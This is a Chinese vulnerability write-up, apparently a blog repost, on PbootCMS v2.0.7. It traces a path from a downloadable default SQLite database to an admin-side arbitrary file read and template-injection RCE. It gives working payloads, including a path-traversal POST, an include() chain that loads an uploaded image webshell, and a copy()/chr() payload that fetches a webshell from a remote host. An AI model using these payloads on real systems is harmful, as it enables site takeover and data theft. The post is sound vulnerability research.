PbootCMS v2.0.7从前台数据库下载到后台RCE研究

2020-04-27 约 791 字 预计阅读 4 分钟

声明:本文 【PbootCMS v2.0.7从前台数据库下载到后台RCE研究】 由作者 奶权 于 2020-04-27 09:30:54 首发 先知社区 曾经 浏览数 17 次

感谢 奶权 的辛苦付出!

前言

PbootCMS是全新内核且永久开源免费的PHP企业网站开发建设管理系统,是一套高效、简洁、 强悍的可免费商用的PHP CMS源码,能够满足各类企业网站开发建设的需要。

环境:

  • Apache 2.4.39
  • PHP 7.3.8

分析

该程序的特点是默认使用的sqlite数据库

可以看看数据库的配置文件config/database.php

<?php
/**
 * 主数据库连接参数,未配置的参数使用框架惯性配置
 * 如果修改为mysql数据库,请同时修改type和dbname两个参数
 */
return array(

    'database' => array(

        'type' => 'sqlite', // 数据库连接驱动类型: mysqli,sqlite,pdo_mysql,pdo_sqlite

        'host' => '127.0.0.1', // 数据库服务器

        'user' => 'pboot', // 数据库连接用户名

        'passwd' => '123456', // 数据库连接密码

        'port' => '3306', // 数据库端口

        // 'dbname' => 'pbootcms' // 去掉注释,启用mysql数据库,注意修改前面的连接信息及type为mysqli

        'dbname' => '/data/pbootcms.db' // 去掉注释,启用Sqlite数据库,注意修改type为sqlite
    )

);

默认的数据库路径是/data/pbootcms.db,且data目录下没有进行任何的判断,后台也没有提供修改数据库路径的功能,所以可直接下载。

下载后用sqlite3打开就可以得到用户的hash,hash使用的是md5(md5($pass))生成的。

所以这里直接挖后台的洞

任意文件读取

漏洞文件apps/admin/controller/system/UpgradeController.php

<?php
    ...
    public function update(){
        if ($_POST) {
            if (! ! $list = post('list')) {
                $list = explode(',', $list);
                $backdir = date('YmdHis');

                // 分离文件
                foreach ($list as $value) {
                    if (stripos($value, '/script/') !== false) {
                        $sqls[] = $value;
                    } else {
                        $path = RUN_PATH . '/upgrade' . $value;
                        $des_path = ROOT_PATH . $value;
                        $back_path = DOC_PATH . STATIC_DIR . '/backup/upgrade/' . $backdir . $value;
                        if (! check_dir(dirname($des_path), true)) {
                            json(0, '目录写入权限不足,无法正常升级!' . dirname($des_path));
                        }
                        if (file_exists($des_path)) { // 文件存在时执行备份
                            check_dir(dirname($back_path), true);
                            copy($des_path, $back_path);
                        }

                        // 如果后台入口文件修改过名字,则自动适配
                        if (stripos($path, 'admin.php') !== false && stripos($_SERVER['SCRIPT_FILENAME'], 'admin.php') === false) {
                            if (file_exists($_SERVER['SCRIPT_FILENAME'])) {
                                $des_path = $_SERVER['SCRIPT_FILENAME'];
                            }
                        }

                        $files[] = array(
                            'sfile' => $path,
                            'dfile' => $des_path
                        );
                    }
                }

                // 更新数据库
                if (isset($sqls)) {
                    $db = new DatabaseController();
                    switch (get_db_type()) {
                        case 'sqlite':
                            copy(DOC_PATH . $this->config('database.dbname'), DOC_PATH . STATIC_DIR . '/backup/sql/' . date('YmdHis') . '_' . basename($this->config('database.dbname')));
                            break;
                        case 'mysql':
                            $db->backupDB();
                            break;
                    }
                    sort($sqls); // 排序
                    foreach ($sqls as $value) {
                        $path = RUN_PATH . '/upgrade' . $value;
                        if (file_exists($path)) {
                            //echo $path;
                            //exit;
                            $sql = file_get_contents($path);
                            if (! $this->upsql($sql)) {
                                $this->log("数据库 $value 更新失败!");
                                json(0, "数据库" . basename($value) . " 更新失败!");
                            }
                        } else {
                            json(0, "数据库文件" . basename($value) . "不存在!");
                        }
                    }
                }

                // 替换文件
                if (isset($files)) {
                    foreach ($files as $value) {
                        if (! copy($value['sfile'], $value['dfile'])) {
                            $this->log("文件 " . $value['dfile'] . " 更新失败!");
                            json(0, "文件 " . basename($value['dfile']) . " 更新失败,请重试!");
                        }
                    }
                }

                // 清理缓存
                path_delete(RUN_PATH . '/upgrade', true);
                path_delete(RUN_PATH . '/cache');
                path_delete(RUN_PATH . '/complite');
                path_delete(RUN_PATH . '/config');

                $this->log("系统更新成功!");
                json(1, '系统更新成功!');
            } else {
                json(0, '请选择要更新的文件!');
            }
        }
    }
    ...
?>

可以看到注释写着更新数据库的部分,将$sqls遍历出来后放进了file_get_contents函数,然后调用了一个upsql()方法。跟过去看一下。

<?php
    // 执行更新数据库
    private function upsql($sql){
        $sql = explode(';', $sql);
        $model = new Model();
        foreach ($sql as $value) {
            $value = trim($value);
            if ($value) {
                $model->amd($value);
            }
        }
        return true;
    }
?>

将传过来的字符串用;分隔后又调用了一个Model::amd()方法。继续跟下去。

文件core/database/Sqlite.php

<?php
    ...
    // 数据增、删、改模型,接受完整SQL语句,返回影响的行数的int数据
    public function amd($sql){
        $result = $this->query($sql, 'master');
        if ($result) {
            return $result;
        } else {
            return 0;
        }
    }
    // 执行SQL语句,接受完整SQL语句,返回结果集对象
    public function query($sql, $type = 'master'){
        ...
        switch ($type) {
            case 'master':
                if (! $this->begin) { // 存在写入时自动开启显式事务,提高写入性能
                    $this->master->exec('begin;');
                    $this->begin = true;
                }
                $result = $this->master->exec($sql) or $this->error($sql, 'master');
                break;
            case 'slave':
                $result = $this->slave->query($sql) or $this->error($sql, 'slave');
                break;
        }
        return $result;
    }
    // 显示执行错误
    protected function error($sql, $conn){
        $err = '错误:' . $this->$conn->lastErrorMsg() . ',';
        if ($this->begin) { // 存在显式开启事务时进行回滚
            $this->master->exec('rollback;');
            $this->begin = false;
        }
        error('执行SQL发生错误!' . $err . '语句:' . $sql);
    }
    ...
?>

这里的amd()方法又调用了一个query()方法,在query()方法里可以看到直接将$sql放进SQL执行函数里,如果执行失败,直接将$sql打印出来。

这样看下来这里的漏洞可以拿来执行任意SQL语句,但是由于这里用的是sqlite数据库,且当前已经在后台里了,所以这里的任意SQL执行也没啥可以利用的。(可能可以审一下用数据库里的数据当做输入的点,没准能利用起来)

但是由于正常的文件内容读出来直接当做SQL语句执行肯定会报错,所以这里可以用来读取文件。

经过回溯可以发现$sqls,使用的POST传输过来的数据,且数据中需要有/script/字符串。

构造Payload:

URL: http://pbootcms/admin.php?p=/Upgrade/update
POST: list=/script/../../../config/database.php

即可读取到文件(仅限在Windows下,Linux不支持在不存在的文件夹下上跳,Linux下利用的话得找到一个系统或者程序自带的/script/目录)

模板注入

看了一下程序后,了解到该程序使用了模板引擎进行内容解析,这时候就可以考虑能否进行模板注入了。

大概看了一下模板引擎的代码后发现一个解析if语句的地方很有趣。

文件:apps/home/controller/ParserController.php

精简后的代码如下:

<?php
    public function parserIfLabel($content){
        $pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $danger = false;

                // 带有函数的条件语句进行安全校验
                if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if (function_exists($value)){
                            $danger = true;
                            break;
                        }
                    }
                }

                // 过滤特殊字符串
                if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {
                    $danger = true;
                }

                // 如果有危险函数,则不解析该IF
                if ($danger) {
                    continue;
                }

                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                ...
?>

这里大概的意思就是,在模板的if语句中,通过正则找到函数的结构,然后将其传入function_exists,如果该函数存在则不执行下面的eval()

如果可以编辑模板文件,或者存在模板注入的话,那么就可以尝试绕一下这些限制,看能不能往eval()里面注入代码。

在后台翻了一下,没有看到有对模板文件进行修改的地方,所以考虑模板注入。

在后台的公司信息栏目插入符合模板if语句的Payload:{pboot:if(1)}OK{/pboot:if}

可以看到这里的模板语句已经解析了。所以这里是存在模板注入的。

但是这个程序是有对所有参数进行全局的htmlspecialcharsaddslashes的,在结合上面的正则,导致我们不能使用很多字符。

有:'"$}和反引号、\x00等等。

根据这个限制我很快有了一种思路:

php的语法有一些具有函数结构,但是却不是函数的关键字。

例如:include()array()等。

现在思路就很明确了,既然 include()可以绕过函数检测这个点,那么往里面传参数就完事了。

接下来就是要想办法在当前限制下构造出一个字符串往include()里面传了。

  • 思路1:

    通过$_SERVER数组传,但是前面的正则ban了$,所以这个思路不行。

  • 思路2:

    使用get_defined_vars()从get的参数里面获取,但是get_defined_vars不能过function_exists,所以也不行。

  • 思路3:

    PHP7.2版本开始:不带引号的字符串是不存在的全局常量的话,那么则转化成他们自身的字符串。

    意思就是echo a=>define(a, 'a');echo a;

    那么就可以不使用引号,从而构造字符串了。

    所以我们可以在后台上传一个图片马,然后用include()去包含getshell了。

    但是这里有个问题,上传后的图片路径会有数字和/.,而数字和/.不带引号是不会触发上面说的trick的。

    也就是现在能构造任意字母了,但是还需要数字和/.

    /.其实很好办,PHP有几个预定义常量如__FILE__,获取当前的文件的绝对路径

    在程序里打印一下看看

    ./都有,但是直接用数组的方式去取是会报错的。

    这时候就需要用到刚刚说的array()了,将__FILE__放进array()里之后再利用去二维数组的方式去取就不会报错了。(因为这里是将常量赋值进了数组里面,不是直接对常量进行数组的方式取值,所以不会报错。)

    var_dump(array(__FILE__)[0][-4]); //=.

    var_dump(array(__FILE__)[0][-21]); //=/

    现在就缺数字了,而且该数字还必须是String型的数字。

    PHP下还有带有数字的常量,例如__LINE____PHP_VERSION__,但是这些数字可能不太够,而且也不太能确定具体得值,不够"一般化"。

    于是开始寻找别的办法。

    于是我开始全局搜索define(,寻找在程序中定义的,可控或者含有数字的常量。

    文件:core/view/Paging.php

    <?php
        ...
      public function limit($total = null, $morePageStr = false){
            // 起始数据调整
            if (! is_numeric($this->start) || $this->start < 1) {
                $this->start = 1;
            }
            if ($this->start > $total) {
                $this->start = $total + 1;
            }
    
            // 设置总数
            if ($total) {
                $this->rowTotal = $total - ($this->start - 1);
            }
    
            // 设置分页大小
            if (! isset($this->pageSize)) {
                $this->pageSize = get('pagesize') ?: Config::get('pagesize') ?: 15;
            }
    
            // 分页数字条数量
            $this->num = Config::get('pagenum') ?: 5;
    
            // 计算页数
            $this->pageCount = @ceil($this->rowTotal / $this->pageSize);
    
            // 获取当前页面
            $this->page = $this->page();
    
            // 定义相关常量,用于方便模板引擎解析序号等计算和调用
            define('ROWTOTAL', $this->rowTotal);
            define('PAGECOUNT', $this->pageCount);
            define('PAGE', $this->page);
            define('PAGESIZE', $this->pageSize);
    
            // 注入分页模板变量
            $this->assign($morePageStr);
    
            // 返回限制语句
            return ($this->page - 1) * $this->pageSize + ($this->start - 1) . ",$this->pageSize";
        } 
      // 当前页码容错处理
        private function page(){
            $page = get('page', 'int') ?: $this->page;
            if (is_numeric($page) && $page > 1) {
                if ($page > $this->pageCount && $this->pageCount) {
                    return $this->pageCount;
                } else {
                    return $page;
                }
            } else {
                return 1;
            }
        }
      ...
    ?>
    

    这里是该程序的一个分页类,可以看到里面有一个叫PAGE的常量,且该常量可控。

    那么就寻找调用了这个分页类的地方传入page就好。

    例如:http://pbootcms/?keyword=123&page=0123456789

    且该常量为string类型。

    至此,路径中需要的字符都构造出来了,只需要用.连接即可。

    利用过程:

    1. 上传图片马

      得到路径static/upload/image/20200417/1587111957160139.png

    2. 根据路径构造payload

      include(s.tatic.array(__FILE__)[0][0].upload.array(__FILE__)[0][0].image.array(__FILE__)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][0].array(PAGE)[0][4].array(PAGE)[0][1].array(PAGE)[0][7].(马赛克).png)

      将payload放入模板的if语句中

    3. 模板注入

    4. 访问带有分页类且又能输出公司地址的地方

      Getshell成功!!!CTF再次诚不欺我!!!

一般化

一开始在研究这个漏洞的时候,就觉得有点麻烦,又要上传图片马,又要构造图片马的路径,不能一个payload直接打,十分麻烦。

于是就跑去问了问P师傅(P牛,永远滴神!)

P师傅理解了我的需求后,直接甩了个payload给我

看到后我才想起,以前就看过P师傅的一篇文章里面的一个trick:在一个函数的括号前面加入一些控制字符,PHP一样能识别改函数并执行。利用这个trick就可以执行任意函数了。

于是根据P师傅给的思路再结合程序本身的一些其他的黑名单限制,很快我就构造出了一个通用的Payload

{pboot%3aif(copy%01(chr%01(104).chr%01(116).chr%01(116).(马赛克),chr%01(49).chr%01(46).chr%01(112).chr%01(104).chr%01(112)))}asdasdasd{/pboot%3aif}

利用一个copy()函数到远程服务器上下载一个webshell放在本地,这里的webshell地址通过chr()函数一个个还原出shell地址一个个拼接。

向模板注入该payload:

访问前台触发点:

则会去http://mock.x.dnshia.cn/shell下载webshell,并保存到1.php

参考链接

PHP动态特性的捕捉与逃逸

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now